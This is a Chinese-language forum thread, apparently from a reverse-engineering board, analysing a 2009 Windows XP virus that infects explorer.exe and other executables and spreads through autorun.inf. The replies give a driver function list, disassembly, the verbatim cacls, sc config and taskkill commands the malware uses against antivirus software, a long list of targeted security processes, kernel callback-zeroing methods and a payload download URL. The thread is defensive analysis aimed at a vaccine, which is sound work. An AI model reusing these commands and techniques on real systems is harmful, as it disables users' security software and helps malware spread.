今天搞一个被感染的系统文件,试着在真机运行了下,任务管理器里多了一些随机名字的进程名,explorer.exe被感染,其他系统相关文件没有检测估计不止感染这一个。在每个盘符下都有autorun.inf和一个 1.exe 测试的系统为xp sp2 和xp sp3 ,其中xp sp3打全了官方公布的所有补丁。系统除了冰点 6.3.220.1875360还原保护2.3.03再没有其他防护软件

希望有朋友能帮忙分析下这个病毒的原理

感谢fixfix在本贴12楼分离出病毒样本
感谢轩辕小聪在本贴25楼的分析,为我等小菜铺平了道路
感谢木桩在本贴35楼对func.dll的分析,很详细呀
感谢zhzhtst提供了样本的idb文件帮助辅助分析
zhzhtst效率太高了,佩服呀
pcidump.sys和其它几个驱动的idb文件
http://bbs.pediy.com/showthread.php?t=90248
感谢所有对本贴关注的朋友!

发这个帖子的初衷的想做一个anti的,从ring3下最简单的考虑,应该是创建一个互斥对象,病毒以为自己已经在运行了
小弟不才,还请各位大哥更深一层的指教

上传的附件 explorer.rar

  • 标 题:答复
  • 作 者:zhzhtst
  • 时 间:2009-05-29 21:14:42

pcidump可以穿透还原,EsuDisk,很长时间了。给出一个函数列表,想仔细分析的可以看看:

ATA_IDENTIFY_DEVICE
ATA_READ_SECTOR
ATA_WRITE_SECTOR
CanIdentifyDevice
CompareProcess
DbgPrint
DeviceIoControlRequest
DisableWriteProtect
DispatchCreateClose
DispatchDeviceControl
DoWrite
DriverEntry
FastFatDispatchCreateHook
FindPspTerminateProcess
GetClusterSizeAndBegin
GetDeviceObject
GetDeviceObjectByName
GetFileInfo
GetFileRetrievalPointers
GetFileSize
GetImageFileNameFieldOffset
GetObjectHeaderNameInfo
GetPartitionInfo
GetProcessImageName
GetPspTerminateProcess
GetRealDeviceObject
GetSectorInfo
HookFatFileSystem
HookFileSystem
HookNtfsFileSystem
HookZwQuerySystemInformation
IoCompletion
KeGetCurrentThread
MyMmGetSystemRoutineAddress
NtfsDispatchCreateHook
OpenFile
OpenFileSynchronize
PsGetCurrentProcessId
PsLookupProcessByProcessId
ReplaceFile
Reset
VerifyBootSector
VerifyNTFS
WriteSector
ZwQuerySystemInformationHook
__SEH_epilog
__SEH_prolog
_alldiv
_except_handler3
mysprintf
sprintf

  • 标 题:答复
  • 作 者:轩辕小聪
  • 时 间:2009-05-29 22:56:38

explorer.exe释放并加载了phpi.dll,释放了func.dll,使用rundll32.exe加载func.dll并调用其中的droqp函数。其他还有改系统时间等杂七杂八的动作。

func.dll的droqp函数释放并加载驱动acpiec.sys,驱动的主要目的:
1.还原SSDT
2.接收func..dll传入的某些安全软件进程的PID,并结束进程,使用的方法:
ZwOpenProcess->ZwCreateJobObject->ZwAssignProcessToJobObject->ZwTerminateJobObject
3.对以下函数
PsRemoveLoadImageNotifyRoutine、PsSetCreateProcessNotifyRoutine、PsRemoveCreateThreadNotifyRoutine
的代码进行特征搜索,搜索得到内核中回调函数表
PspLoadImageNotifyRoutine
PspCreateProcessNotifyRoutine
PspCreateThreadNotifyRoutine
的地址,将这三张表中的内容(每张表8个PVOID)全部置0,从而废掉安全软件使用以上方法进行进线程和模块加载监视的功能。

phpi.dll被explorer.exe本身加载,调用其Scan函数,部分功能:
1.判断自身进程是否是C:\WINDOWS\explorer.exe:
是则说明已经感染了,将system32\drivers\gm.dls复制到WINDOWS\temp\explorer.exe并运行,使得桌面正常出现
不是则说明未感染,释放并加载pcidump.sys穿还原,复制原WINDOWS\explorer.exe到system32\drivers\gm.dls,并将自身内容写入WINDOWS\explorer.exe头部达到修改该文件。创建一个线程捕捉系统文件保护的弹出对话框并关闭之。
从这里可以看出,原来的WINDOWS\explorer.exe在被感染系统中被保存为system32\drivers\gm.dls
2.将自身资源中的文本释放,替换hosts文件
3.创建几个线程,作用分别是:
写入盘符根目录的autorun.inf和1.exe
向远程服务器地址放送被感染电脑的信息作为感染统计
修改系统中的.htm及html文件加入恶意代码(这里没有仔细看加入代码的内容)
感染系统中的.exe文件(跳过qq.exe和360safe.exe),感染手法似乎是加入名为.hhqg的新区段写入病毒代码,代码为下载http://hjhj.us/abcd.exe到临时文件夹并调用WinExec运行之。

除了脱壳用OD之外,以上内容全是IDA静态分析,看得比较粗略,有错漏的请大家补充指正。

  • 标 题:答复
  • 作 者:木桩
  • 时 间:2009-05-30 15:40:38

目前只看完func.dll,大致了解了一下执行流程。驱动部分没想到都逆完了,我也把我分析的贴一下吧:

引用:
explorer.exe行为
; 创建互斥
004012D1  |.  56            PUSH ESI                                 ; /MutexName => "ttt555"
004012D2  |.  53            PUSH EBX                                 ; |InitialOwner => FALSE
004012D3  |.  53            PUSH EBX                                 ; |pSecurity => NULL
004012D4  |.  FF15 24204000 CALL DWORD PTR DS:[<&KERNEL32.CreateMute>; \CreateMutexA

; 执行这几条命令(主要对付 ESET NOD32 )
"cmd /c cacls %s /e /p everyone:f"
"cmd /c cacls "%s" /e /p everyone:f"
"cmd /c sc config ekrn start= disabled"                               ; ekrn.exe => "ESET NOD32"
"cmd /c taskkill /im ekrn.exe /f"
"cmd /c taskkill /im egui.exe /f"
"cmd /c taskkill /im ScanFrm.exe /f"                                 ; Rising scan server

; 取资源BIN,放出func.dll
Res:"BIN"    "\system32\func.dll"
"rundll32.exe func.dll, droqp"
; 放phpi.dll
...          "\phpi.dll"
...

explorer.exe后面还有个释放phpi.dll的部分没看,先拆了func.dll:

引用:
func.dll (通过 rundll32.exe func.dll, droqp 执行)
.text:1000411C                 public droqp
.text:1000411C droqp           proc near
; 提权
.text:10004128                 call    SetDebugPrivilege
; 释放acpiec.sys
.text:1000419D                 lea     eax, [ebp+FileName]
.text:100041A3                 push    offset aSystem32Driver ; "\\system32\\drivers"
.text:100041A8                 push    eax             ; Dest
.text:100041A9                 call    strcat
.text:100041AE                 lea     eax, [ebp+FileName]
.text:100041B4                 push    offset aAcpiec_sys ; "\\acpiec.sys"
.text:100041B9                 push    eax             ; Dest
.text:100041BA                 call    strcat
.text:100041BF                 add     esp, 10h
.text:100041C2                 cmp     [ebp+SystemTime.wYear], 7D8h
.text:100041C8                 jbe     short loc_100041E0
.text:100041CA                 lea     eax, [ebp+FileName]
.text:100041D0                 push    eax             ; lpFileName
.text:100041D1                 push    offset hFile    ; ResName = "SYS"
.text:100041D6                 push    67h             ; hResInfo
.text:100041D8                 call    Save_Res2File
; int __cdecl Save_Res2File(LPCSTR hResInfo, LPCSTR hFile, LPCSTR lpFileName)

; 注册acpiec.sys并加载
.text:100041E0                 lea     eax, [ebp+FileName] ; "acpiec.sys"
.text:100041E6                 push    eax             ; lpBinaryPathName
.text:100041E7                 call    Load_driver_UPDATEDATA

.text:1000422B                 push    [ebp+hDevice]   ; hDevice
.text:1000422E                 call    something_about_SSDT

.text:10003FB1 ; int __cdecl something_about_SSDT(int hDevice)
.text:10003FB1 something_about_SSDT proc near
func.dll关于SSDT部分,前面有人解释过了,无非就是取内核基址然后发IOCTL
.text:10003E8B                 push    22E14Bh         ; IOCTL 0x22E14B: 替换指定的SSDT
ps: 不过作者写程序很中规中矩啊,该Free的Free,该关句柄的关句柄,出错处理和调试信息一个不少,不像有些木马里LoadLibraryEx后就放那不管了。


; 接着打开 \\.\CMusic,也就是之前放出的那个驱动acpiec.sys
.text:100041EF                 push    ebx             ; hTemplateFile
.text:100041F0                 push    80h             ; dwFlagsAndAttributes
.text:100041F5                 push    3               ; dwCreationDisposition
.text:100041F7                 push    ebx             ; lpSecurityAttributes
.text:100041F8                 push    ebx             ; dwShareMode
.text:100041F9                 push    0C0000000h      ; dwDesiredAccess
.text:100041FE                 push    offset FileName ; "\\\\.\\CMusic"
.text:10004203                 call    ds:CreateFileA

; 创建一个线程在 StartAddress
.text:10004241                 push    ebx             ; lpThreadId
.text:10004242                 push    ebx             ; dwCreationFlags
.text:10004243                 push    [ebp+lpParameter] ; lpParameter
.text:10004246                 push    offset StartAddress ; lpStartAddress
.text:1000424B                 push    ebx             ; dwStackSize
.text:1000424C                 push    ebx             ; lpThreadAttributes
.text:1000424D                 call    ds:CreateThread


.text:1000146B ; DWORD __stdcall StartAddress(LPVOID)
.text:1000146B StartAddress    proc near
; 一个巨长的函数,几乎把所有杀软进程名都给列上了

; 不过从这个列表的顺序来看,这八成是国人写的,瑞星、360的进程都照顾全了,连QQ医生都没忘
RsMain.exe
ScanFrm.exe
rsnetsvr.exe
avp.exe
safeboxTray.exe
360Safe.exe
360Safebox.exe
360tray.exe
antiarp.exe
ekrn.exe
egui.exe
RavMon.exe
RavMonD.exe
RavTask.exe
CCenter.exe
RavStub.exe
RsTray.exe
Rav.exe
Rsaupd.exe
AgentSvr.exe
QQDoctor.exe
DrRtp.exe
McProxy.exe
McNASvc.exe
Mcshield.exe
MpfSrv.exe
pccguide.exe
ZONEALARM.exe
zonealarm.exe
...

; 接着发 22E153 到驱动(IOCTL 0x22E153 根据PID调用ZwTerminateJobObject结束指定进程)
.text:100035DB                 mov     edi, ds:GetModuleHandleA
.text:100035E1                 push    offset ModuleName ; "kernel32.dll"
.text:100035E6                 call    edi ; GetModuleHandleA
.text:100035E8                 push    offset aDeviceiocontro ; "DeviceIoControl"
.text:100035ED                 push    eax             ; hModule
.text:100035EE                 call    ds:GetProcAddress
.text:100035F4                 mov     [ebp+DeviceIoControl_addr], eax

.text:10003AE5                 lea     eax, [ebp+dwProcessID]
.text:10003AE8                 push    4
.text:10003AEA                 push    eax
.text:10003AEB                 push    22E153h         ; IOCTL
.text:10003AF0                 push    dword ptr [ebp+8]
.text:10003AF3                 call    [ebp+DeviceIoControl_addr]

.text:10003B07 loc_10003B07:                           ; CODE XREF: StartAddress+2226j
.text:10003B07                 push    [ebp+pe.th32ProcessID] ; dwProcessId
.text:10003B0D                 call    kill_avp

; 关进程
; 嘿嘿,在 SOFTWARE\KasperskyLab\protected\AVP8\CKAHUM\LastSet 里找卡巴的病毒库路径
.text:1000132B ; int __cdecl kill_avp(DWORD dwProcessId)
.text:1000132B kill_avp        proc near
.text:10001339                 push    edi
.text:1000133A                 push    eax             ; phkResult
.text:1000133B                 xor     esi, esi
.text:1000133D                 push    20019h          ; samDesired
.text:10001342                 push    esi             ; ulOptions
.text:10001343                 push    offset SubKey   ; "SOFTWARE\KasperskyLab\protected\AVP8\CKAHUM\LastSet"
.text:10001348                 push    80000002h       ; hKey
.text:1000134D                 call    ds:RegOpenKeyExA

.text:10001365                 push    eax             ; lpcbData
.text:10001366                 lea     eax, [ebp+Data]
.text:1000136C                 push    eax             ; lpData
.text:1000136D                 lea     eax, [ebp+Type]
.text:10001370                 push    eax             ; lpType
.text:10001371                 push    esi             ; lpReserved
.text:10001372                 push    offset ValueName ; "Directory"
.text:10001377                 mov     [ebp+cbData], 50h
.text:1000137E                 push    [ebp+hKey]      ; hKey
.text:10001381                 call    ds:RegQueryValueExA

; 执行下面两个命令
.text:1000145B                 call    esi ; WinExec
"cmd /c sc config avp start= disabled"
"cmd /c taskkill /f /im avp.exe"

; 然后继续循环
...
显然这个func.dll只是用于K掉杀毒软件的。唯一值得关注的就是那个进程列表,看来作者相当厌恶瑞*啊,几乎所有的进程都给列上了...
以及acpiec.sys里那个pdb的路径名,
.rdata:0001283C db 'E:\ts\benz_5-15\SYS\objfre\i386\KILLKB.pdb',0
作者还是赶快把E盘格了,然后给DDK换个文件夹,免得哪天被人看到而东窗事发

http://bbs.pediy.com/showthread.php?t=90185

上传的附件 pcidump.rar [请到论坛下载:http://bbs.pediy.com/showthread.php?t=90248 ]